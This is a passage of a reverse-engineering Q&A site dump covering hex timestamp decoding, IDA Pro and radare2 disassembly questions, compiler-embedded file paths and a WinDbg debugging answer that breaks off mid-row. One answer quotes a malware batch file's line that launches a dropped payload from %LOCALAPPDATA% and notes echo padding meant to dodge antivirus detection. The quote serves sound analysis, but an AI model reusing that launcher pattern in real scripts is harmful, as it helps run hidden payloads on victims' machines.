  <row Id="17542" PostTypeId="1" AcceptedAnswerId="17546" CreationDate="2018-02-26T14:31:10.107" Score="1" ViewCount="444" Body="&lt;p&gt;I am trying to decode this hex timestamp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5A24 B103 73AE --&amp;gt; 02/26/2018 15:45:44 &#xA;5A24 FC03 83BC --&amp;gt; 02/26/2018 17:00:48&#xA;5A24 FE03 93E3 --&amp;gt; 02/26/2018 17:02:58&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Data is coming from an old controller serial protocol. The proprietary software shows the &quot;controller time in hex&quot; and converts it in the value showed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you approach this problem?&lt;/p&gt;&#xA;" OwnerUserId="23321" LastEditorUserId="23321" LastEditDate="2018-02-26T15:12:58.100" LastActivityDate="2018-02-27T14:23:22.763" Title="Hex timestamp decode" Tags="|hex|serial-communication|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17543" PostTypeId="2" ParentId="17540" CreationDate="2018-02-26T17:29:22.900" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.agner.org/optimize/microarchitecture.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;The microarchitecture of Intel, AMD and VIA CPUs An optimization guide for assembly programmers and compiler makers&lt;/em&gt;&lt;/a&gt; by Agner Fog, Technical University of Denmark&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not for the fainthearted but probably the most detailed document on the subject. &lt;/p&gt;&#xA;" OwnerUserId="4658" LastEditorUserId="60" LastEditDate="2018-02-26T18:43:25.187" LastActivityDate="2018-02-26T18:43:25.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17545" PostTypeId="2" ParentId="17527" CreationDate="2018-02-26T18:48:28.750" Score="1" Body="&lt;p&gt;the &lt;code&gt;echo&lt;/code&gt;  statements seem to be just random noise, possibly to reduce antivirus detection rate. The only line which is actually doing something is this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start &quot;Lnvqgn8kWPwvFipqD8tLpq&quot; &quot;%LOCALAPPDATA%\Gm Ugc\iqgux rez.dcah&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It starts a new process using a file located in  &lt;code&gt;%LOCALAPPDATA%\Gm Ugc\iqgux rez.dcah&lt;/code&gt;, so it's probably an executable containing the actual functionality of malware. You will need to analyze it to figure out what it does (e.g. using a disassembler or a decompiler, depending on the file format).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-02-26T18:48:28.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17546" PostTypeId="2" ParentId="17542" CreationDate="2018-02-26T19:00:02.460" Score="5" Body="&lt;pre&gt;&lt;code&gt;import sys&#xA;import os&#xA;&#xA;if(len(sys.argv) != 2):     &#xA;    sys.exit(&quot;usage %s 0xdead&quot; % os.path.basename(sys.argv[0]))&#xA;&#xA;if((sys.argv[1].startswith(&quot;0x&quot;)!=True) or (len(sys.argv[1])!=6 )):&#xA;    sys.exit(&quot;0x prefixed hexinput must be in range 0x0000 to 0xffff padded to 4 digits&quot;)&#xA;&#xA;indate = int(sys.argv[1],16)&#xA;&#xA;year   =  str(((indate &amp;amp; 0xfe00) &amp;gt;&amp;gt; 9) + 2000)&#xA;month  =  str((indate &amp;amp; 0x01e0) &amp;gt;&amp;gt; 5)&#xA;day    =  str((indate &amp;amp; 0x001f) &amp;gt;&amp;gt; 0)&#xA;sep    =  &quot;/&quot;&#xA;&#xA;print &quot;The date is in MSDOS DATE FORMAT&quot;&#xA;print &quot;y2k-fixed year9to15 bits month 5t08bits and day 0to5 bits&quot;&#xA;print (day+sep+month+sep+year)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0x245a as input&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;python msdosdate.py 0x245a&#xA;The date is in MSDOS DATE FORMAT&#xA;y2k-fixed year9to15 bits month 5t08bits and day 0to5 bits&#xA;26/2/2018&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edited a complete script that  takes all the three short ints&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt;cat makedatetime.py&#xA;import sys&#xA;if(len(sys.argv) != 4):&#xA;    sys.exit(&quot;usage python thisscript.py 1337 dead d00d&quot;)&#xA;for i in range(1,4,1):&#xA;    if(len(sys.argv[i]) != 4):&#xA;        sys.exit(&quot;enter unsigned short integer of type 'H' in hex \n&quot;&#xA;                &quot;like dead d00d 1337 babe etc duly padded to 4 digits&quot;)&#xA;indate      = int(sys.argv[1],16)&#xA;inminute    = int(sys.argv[2],16)&#xA;inseconds   = int(sys.argv[3],16)&#xA;year        = str(((indate &amp;amp;0xfe00) &amp;gt;&amp;gt; 9)+2000)&#xA;month       = str(((indate &amp;amp;0x01e0) &amp;gt;&amp;gt; 5)+0000)&#xA;day         = str(((indate &amp;amp;0x001f) &amp;gt;&amp;gt; 0)+0000)&#xA;hours       = str(inminute/60)&#xA;minutes     = str(inminute%60)&#xA;seconds     = str(inseconds/1000)&#xA;millisecs   = str(inseconds%1000)&#xA;&#xA;&#xA;print(month+&quot;/&quot;+day+&quot;/&quot;+year+&quot; &quot;+hours+&quot;:&quot;+minutes+&quot;:&quot;+seconds+&quot;:&quot;+millisecs)&#xA;:&amp;gt;python makedatetime.py 245A 03B1 AE73&#xA;2/26/2018 15:45:44:659&#xA;&#xA;:&amp;gt;python makedatetime.py 245A 03FC BC83&#xA;2/26/2018 17:0:48:259&#xA;&#xA;:&amp;gt;python makedatetime.py 245A 03FE E393&#xA;2/26/2018 17:2:58:259&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-02-27T14:23:22.763" LastActivityDate="2018-02-27T14:23:22.763" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17548" PostTypeId="1" AcceptedAnswerId="17567" CreationDate="2018-02-26T21:33:50.530" Score="0" ViewCount="543" Body="&lt;p&gt;i'm actually quite new to IDApython programing and i'm trying to get, for a &quot;switch-case&quot; jump table, the list of basic blocks for a given value of the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While experimenting, i was trying to access the switch-case table using the following code as following the official documentation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;import idaapi&#xA;import idc&#xA;&#xA;myfunc=0&#xA;jump_table = dict()&#xA;switch_map = {}&#xA;&#xA;for func in idautils.Functions():&#xA;    if 'Myfunction_name' == idc.GetFunctionName(func):&#xA;        print 'function found'&#xA;        myfunc = func&#xA;        break&#xA;&#xA;for (startea, endea) in Chunks(myfunc):&#xA;    for head in Heads(startea, endea):&#xA;        switch_info = idaapi.get_switch_info_ex(head)&#xA;        if switch_info != None:&#xA;            num_cases = switch_info.get_jtable_size()&#xA;            if num_cases == 148:&#xA;                print 'good jump table found'&#xA;                results = idaapi.calc_switch_cases(head, switch_info)&#xA;                for idx in xrange(results.cases.size()):&#xA;                    cur_case = results.cases[idx]&#xA;                    &quot;&quot;&quot;&#xA;         ---&amp;gt;       #can't use the following&#xA;&#xA;           --&amp;gt;      for cidx in xrange(len(cur_case)):&#xA;           --&amp;gt;          print &quot;case: %d&quot; % cur_case[cidx]&#xA;                    &quot;&quot;&quot;&#xA;                    print &quot;  goto 0x%x&quot; % results.targets[idx]&#xA;                #for cidx in xrange(cur_case.size()):&#xA;                print cur_case&#xA;                print &quot;  goto 0x%x&quot; % results.targets[idx]&#xA;            else:&#xA;                continue&#xA;        else:&#xA;            continue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, i am not able to access correctly the cases values, as shown by the arrows in the code. Indeed, the &quot;cur_case&quot; object is a PySwigObject, which is not iterable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea on how to get that code to work? (notes : i'm using IDA 64 bits)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="23424" LastActivityDate="2018-03-01T08:59:27.927" Title="calc_switch_cases() in IDApython, can't iterate over results" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17549" PostTypeId="1" CreationDate="2018-02-27T05:51:07.903" Score="4" ViewCount="3230" Body="&lt;p&gt;IDA Pro uses a syntax like &lt;code&gt;Var_A4 = dword ptr -0A4h&lt;/code&gt; when declaring stack variables at the top of a x86 assembly routine as shown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7baWZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7baWZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would expect it to refer to such local variables and arguments using an EBP offset syntax. What is the meaning of the dword ptr syntax and why is this syntax used?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2018-02-27T19:10:36.290" Title="What is the meaning of IDA Pro's Local Variable Syntax?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17551" PostTypeId="2" ParentId="17549" CreationDate="2018-02-27T10:36:21.783" Score="9" Body="&lt;p&gt;an argument is positive from stackpointer (esp+xxx) &#xA;a local is negative from stackpointer (esp-xxx)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ida renames all locals ie &lt;strong&gt;DWORD ptr ss:[esp-xx]&lt;/strong&gt; as &lt;strong&gt;var_xxx&lt;/strong&gt;&lt;br&gt;&#xA;and all argumts ie &lt;strong&gt;DWORD PTR SS:[esp+xxx]&lt;/strong&gt; as &lt;strong&gt;arg_XX&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can mass rename them with a script or use K keyboard shortcut to see a single instance &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i had a few posts on how you can mass rename it &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14043/stack-variable-information-removed-in-ida-pro-free-version/14044#14044&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/23199403/differences-in-ollydbg-and-ida-pro-for-movsx-edx-byte-ptr-especx8-command/23604013#23604013&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you can change the ANALYSIS kernel option 1 &#xA;uncheck create stack var&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or open ida.cfg and change the analysis option = 0xffff to 0xfbff and ida wont create those vars and args&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;echo %cd%&#xA;E:\IDA_FREE_5\cfg&#xA;&#xA;:\&amp;gt;grep -n ANA.*FBFF *&#xA;ida.cfg:194:ANALYSIS        = 0xFBFF // This value is combination of the bits defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-02-27T19:10:36.290" LastActivityDate="2018-02-27T19:10:36.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17555" PostTypeId="1" AcceptedAnswerId="17559" CreationDate="2018-02-28T00:30:46.913" Score="3" ViewCount="4265" Body="&lt;p&gt;What does a bunch of &lt;code&gt;add byte [rax], al&lt;/code&gt; mean? I see a lot of memory addressing point to specific parts of the shared library (.dll) that have for instance, this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  0x10064faf8      0000           add byte [rax], al&#xA;  0x10064fafa      0000           add byte [rax], al&#xA;  0x10064fafc      0000           add byte [rax], al&#xA;  0x10064fafe      0000           add byte [rax], al&#xA;     ; XREFS: DATA 0x10041db20  DATA 0x100545d2c  DATA 0x100546999  DATA 0x1005469b0  DATA 0x100549de0  DATA 0x100549e00  &#xA;  0x10064fb00      0000           add byte [rax], al&#xA;  0x10064fb02      0000           add byte [rax], al&#xA;  0x10064fb04      0000           add byte [rax], al&#xA;  0x10064fb06      0000           add byte [rax], al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is that supposed to indicate to me when I see it? Do those spaces get rewritten or something when the dll is loaded into memory?&lt;/p&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-02-28T02:28:40.523" LastActivityDate="2019-05-02T19:23:01.517" Title="Radare produces a bunch of `add byte [rax], al`, but why?" Tags="|disassembly|radare2|disassemblers|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17556" PostTypeId="2" ParentId="17555" CreationDate="2018-02-28T04:35:49.287" Score="2" Body="&lt;p&gt;you probably have a seek outside of any known function in an area where there is no data or code  an area that is a filler to meet alignment requirements of page / section sizes &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also called as zero padded area &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x010546bc]&amp;gt; px 10 ; pd 10&#xA;- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF&#xA;&#xA;0x010546bc  0000 0000 0000 0000 0000                 ..........&#xA;            0x010546bc      0000           add byte [eax], al&#xA;            0x010546be      0000           add byte [eax], al&#xA;            0x010546c0      0000           add byte [eax], al&#xA;            0x010546c2      0000           add byte [eax], al&#xA;            0x010546c4      0000           add byte [eax], al&#xA;            0x010546c6      0000           add byte [eax], al&#xA;            0x010546c8      0000           add byte [eax], al&#xA;            0x010546ca      0000           add byte [eax], al&#xA;            0x010546cc      0000           add byte [eax], al&#xA;            0x010546ce      0000           add byte [eax], al&#xA;[0x010546bc]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-02-28T04:35:49.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17557" PostTypeId="2" ParentId="15460" CreationDate="2018-02-28T12:14:18.280" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;https://github.com/radare/radare2/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/radare/radare2/releases&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click on the link after &quot;Builds:&quot;, e.g. &lt;a href=&quot;http://radare.mikelloc.com/get/2.3.0/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://radare.mikelloc.com/get/2.3.0/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Download installer, e.g. radare2_installer-msvc_64-2.3.0.exe&lt;/li&gt;&#xA;&lt;li&gt;Run installer&lt;/li&gt;&#xA;&lt;li&gt;Run path\to\your\home_dir\AppData\Local\Programs\radare2\radare2.exe&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2018-02-28T12:14:18.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17558" PostTypeId="1" AcceptedAnswerId="17563" CreationDate="2018-02-28T20:52:23.523" Score="2" ViewCount="812" Body="&lt;p&gt;I opened wsl.exe in IDA Pro v7 and follow some strings. I saw some strings with .cpp extension. Can anyone explain what are those .cpp file in that disassembly? Where can I find it? Are those hidden somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example: &lt;code&gt;base\subsys\wsl\lxss\lxcmdlineshared\svccomm.cpp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6OdvJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6OdvJ.png&quot; alt=&quot;IDA_cpp_file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-03-01T10:46:27.013" Title="What are the .cpp files in IDA disassembly" Tags="|ida|disassembly|windows-10|" AnswerCount="3" CommentCount="1" ClosedDate="2018-03-03T23:48:05.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="17559" PostTypeId="2" ParentId="17555" CreationDate="2018-02-28T21:24:36.423" Score="4" Body="&lt;p&gt;I am adding another answer here because the comment by op is akin to a new question  &lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt;I'm still confused. If ix has numerious references to the point at which I &gt;!seeked too, why would it be that there is neither data nor code? Why would &gt;!these references be pointed to the padded area or the alignment area? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;this is a demo of code which is referenced but doing a pd on reference would yield a bunch of zeros and has nothing to do with alignment or any other artifacts &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\evancarr&amp;gt;cat evancarr0.cpp&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;char somecipher[MAX_PATH + 1];&#xA;char curdir[MAX_PATH + 1];&#xA;char deccipher[MAX_PATH + 1];&#xA;int main(void) {&#xA;    GetCurrentDirectoryA(MAX_PATH, curdir);&#xA;    int cdlen = strlen(curdir);&#xA;    for (int i = 0; i &amp;lt; cdlen; i++) {&#xA;        somecipher[i] = curdir[i] ^ 0x1;&#xA;    }&#xA;    printf(&quot;%s\n&quot;, somecipher);&#xA;    for (int i = 0; i &amp;lt; cdlen; i++) {&#xA;        deccipher[i] = somecipher[i] ^ 0x1;&#xA;    }&#xA;    printf(&quot;%s\n&quot;, deccipher);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and executed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\evancarr&amp;gt;cl /Zi /W4 /analyze /EHsc /O2 evancarr0.cpp&#xA;Microsoft (R) C/C++ Optimizing Compiler Version 19.12.25835 for x86&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;evancarr0.cpp&#xA;Microsoft (R) Incremental Linker Version 14.12.25835.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;/out:evancarr0.exe&#xA;/debug&#xA;evancarr0.obj&#xA;&#xA;C:\evancarr&amp;gt;evancarr0.exe&#xA;B;]dw`ob`ss&#xA;C:\evancarr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;loading it in radare2 seeking to main and doing a pd on the referenced global buffer (as can be seen the buffer has a lot of xrefs but it is a bunch of zeroes &#xA;and disassembling throws a bunch of add [eax] , al &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\evancarr&amp;gt;radare2 -AA evancarr0.exe&#xA;&#xA;[0x004015cd]&amp;gt; s 0x4065a0&#xA;&#xA;[0x004065a0]&amp;gt; pd 5&#xA;|              ; JMP XREF from 0x00403161 (sub.KERNEL32.dll_GetCurrentDirectoryA_161)&#xA;|           0x004065a0      56             push esi&#xA;|           0x004065a1      68380d4600     push 0x460d38 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;|           0x004065a6      6804010000     push 0x104                  ; 260&#xA;|           0x004065ab      ff1500304600   call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA] ;&#xA;0x463000&#xA;|           0x004065b1      be380d4600     mov esi, 0x460d38&#xA;&#xA;&#xA;[0x004065a0]&amp;gt; pd 5 @ 0x460d38 &#xA;               ; DATA XREF from 0x004065a1  &#xA;               ; DATA XREF from 0x004065b1 &#xA;               ; DATA XREF from 0x004065f1 &#xA;               ; DATA XREF from 0x00406650 &#xA;               ; DATA XREF from 0x004065c0 &#xA;&#xA;            0x00460d38      0000           add byte [eax], al&#xA;            0x00460d3a      0000           add byte [eax], al&#xA;            0x00460d3c      0000           add byte [eax], al&#xA;            0x00460d3e      0000           add byte [eax], al&#xA;            0x00460d40      0000           add byte [eax], al&#xA;&#xA;&#xA;[0x004065a0]&amp;gt; pd 5 @ 0x460c30&#xA;               ; DATA XREF from 0x00406658 &#xA;               ; DATA XREF from 0x00406663 &#xA;               ; DATA XREF from 0x004066a0 &#xA;               ; DATA XREF from 0x00406700 &#xA;               ; DATA XREF from 0x004065fc &#xA;&#xA;&#xA;            0x00460c30      0000           add byte [eax], al&#xA;            0x00460c32      0000           add byte [eax], al&#xA;            0x00460c34      0000           add byte [eax], al&#xA;            0x00460c36      0000           add byte [eax], al&#xA;            0x00460c38      0000           add byte [eax], al&#xA;[0x004065a0]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="28285" LastEditDate="2019-05-02T19:23:01.517" LastActivityDate="2019-05-02T19:23:01.517" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17560" PostTypeId="2" ParentId="17558" CreationDate="2018-02-28T21:29:38.220" Score="2" Body="&lt;p&gt;There are no *.cpp files in disassembly. It looks like automatically generated string file file path. It's sometimes used for logging.&#xA;It can be generated if somewhere in the source code &lt;code&gt;__FILE__&lt;/code&gt; preprocessor directive was used.&lt;/p&gt;&#xA;" OwnerUserId="8133" LastEditorUserId="60" LastEditDate="2018-03-01T10:43:40.087" LastActivityDate="2018-03-01T10:43:40.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17561" PostTypeId="2" ParentId="17558" CreationDate="2018-02-28T21:30:35.480" Score="1" Body="&lt;p&gt;This is just a string in the binary file that, for some reason represents the file name and in this case a cpp file. Maybe this binary for some reason needs to access it on the system, or checks if they exists and does some work if so (or if not). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are not hidden and unfortunately not available. &lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-02-28T21:30:35.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17563" PostTypeId="2" ParentId="17558" CreationDate="2018-02-28T22:50:53.977" Score="8" Body="&lt;p&gt;I commented and then I've read malikcjm answer &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is basically an extension of malikcjm's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose you have a code like this and load the compiled exe into ida &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;void main (void){&#xA;    printf(&quot;%s\n&quot; ,__FILE__);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will get the cpp file reference&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CxfpV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CxfpV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these &lt;code&gt;__FILE__&lt;/code&gt;, &lt;code&gt;__LINE__&lt;/code&gt; etc are predefined macros that are defined in the C++ Standard as well as some Microsoft-specific predefined macros &lt;/p&gt;&#xA;&#xA;&lt;p&gt;take a look &lt;strong&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/b0084kay.aspx&quot; rel=&quot;noreferrer&quot;&gt;PRE_DEFINED_MACROS&lt;/a&gt;&lt;/strong&gt; for a discussion and usage of these predefined macros&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these predefined macros are not restricted to debug mode alone; they can be used in release mode also&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is example code that uses them in release mode&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#pragma comment (lib , &quot;test.lib&quot;)&#xA;#pragma comment (lib , &quot;kernel32.lib&quot;)&#xA;#pragma comment (lib , &quot;user32.lib&quot;)&#xA;_declspec (dllexport) int  AddNum(int a, int b);&#xA;char buff[0x100] = { 0 };&#xA;PCHAR timepass(int a, PCHAR b) {&#xA;    wsprintfA(buff,&quot;%d %s\n%s\t%s\t%s\n&quot;, a,b,__FUNCTION__,__FUNCDNAME__,__FUNCSIG__);&#xA;    OutputDebugStringA(buff);&#xA;    wsprintfA(buff,&quot;we are done passing time\n&quot;);&#xA;    return buff;    &#xA;}&#xA;int main(void) {&#xA;    wsprintfA(buff, &quot;3 + 5 = %x\n&quot;, AddNum(3, 5));&#xA;    OutputDebugStringA(buff);&#xA;    wsprintfA(buff, &quot;%s\n&quot;, __FILE__);&#xA;    OutputDebugStringA(buff);&#xA;    wsprintfA(buff, &quot;%s\n&quot;, __DATE__);&#xA;    OutputDebugStringA(buff);&#xA;    wsprintfA(buff, &quot;%d\n&quot;, __LINE__);&#xA;    OutputDebugStringA(buff);&#xA;    wsprintfA(buff, &quot;%s\n&quot;, __func__);&#xA;    OutputDebugStringA(buff);&#xA;    OutputDebugStringA(timepass(1337 , &quot;we are now going to pass time&quot;));&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; cl /nologo use%1.cpp /link /ENTRY:main /SUBSYSTEM:windows /RELEASE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed in debugger would show &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;cdb -c &quot;g;q&quot; usetest.exe | tail -n 13&#xA;DLL_PROCESS_ATTACH Called&#xA;&#xA;3 + 5 = 8&#xA;usetest.cpp&#xA;Mar  1 2018&#xA;20&#xA;main&#xA;1337 we are now going to pass time&#xA;timepass        ?timepass@@YAPADHPAD@Z  char *__cdecl timepass(int,char *)&#xA;we are done passing time&#xA;DLL_PROCESS_DETACH Called&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If a PDB is available we can get the so called leaks from them too an example of file paths from an ntdll pdb &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e:\cvdump&amp;gt;cvdump -sf e:\SYMBOLS\ntdll.pdb\120028FA453F4CD5A6A404EC37396A582\ntdll.pdb &amp;gt;&amp;gt; leaks.txt&#xA;&#xA;e:\cvdump&amp;gt;wc -l leaks.txt&#xA;860 leaks.txt&#xA;&#xA;e:\cvdump&amp;gt;grep &quot;daytona&quot; leaks.txt  | grep ldrs&#xA;** Module: &quot;o:\w7rtm.obj.x86fre\minkernel\ntdll\daytona\objfre\i386\ldrstart.obj&quot;&#xA;** Module: &quot;o:\w7rtm.obj.x86fre\minkernel\ntdll\daytona\objfre\i386\ldrsnap.obj&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="60" LastEditDate="2018-03-01T10:46:27.013" LastActivityDate="2018-03-01T10:46:27.013" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17564" PostTypeId="2" ParentId="16374" CreationDate="2018-03-01T03:53:45.963" Score="2" Body="&lt;p&gt;On the pte command you use an address from where did you get that address &lt;strong&gt;FFFFF6FB7EA00068&lt;/strong&gt;   &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a virtual address does it truly belong to the active process context ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;are you in the process context of iexplore.exe ??&lt;br&gt;&#xA;&lt;code&gt;(did you do .process /p /r EPROC_ADDR )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just doing .process /p /r changes only the display in windbg and the actual underlying process may not be equal to the current process context   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;did you check if the process contexts &lt;strong&gt;DirectoryTableBase (DirBase)&lt;/strong&gt;  and register &lt;strong&gt;cr3&lt;/strong&gt; matches or not ??   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if they don't match you might be looking at some spurious address that belongs to some other process context which might have the same virtual address    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if it didnt match you may need to do &lt;strong&gt;.process /i&lt;/strong&gt; and execute the target with &lt;strong&gt;g or f5&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this makes windbg debug the underlying process invasively and when it rebreaks&lt;br&gt;&#xA;after a few seconds the process you are interested in (iexplore.exe in your case)&lt;br&gt;&#xA;will be set as active process context and page table entries are decoded with    respect to active process context&lt;br&gt;&#xA;&lt;strong&gt;( register cr3 and   @$proc-&gt;Pcb.DirectoryTableBase will match and show same DirBase)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;only when you are truly sure you have an active  process context your question might make a reproducible query &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a sample &lt;/p&gt;&#xA;&#xA;&lt;p&gt;target and host both are win7 sp1 32 bits (target is a vm)&lt;br&gt;&#xA;windbg version is latest rtm as on the day of posting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Microsoft (R) Windows Debugger Version 10.0.16299.15 X86&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;target broken into windbg using ctrl+break&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checking current cr3&#xA;kd&amp;gt; r 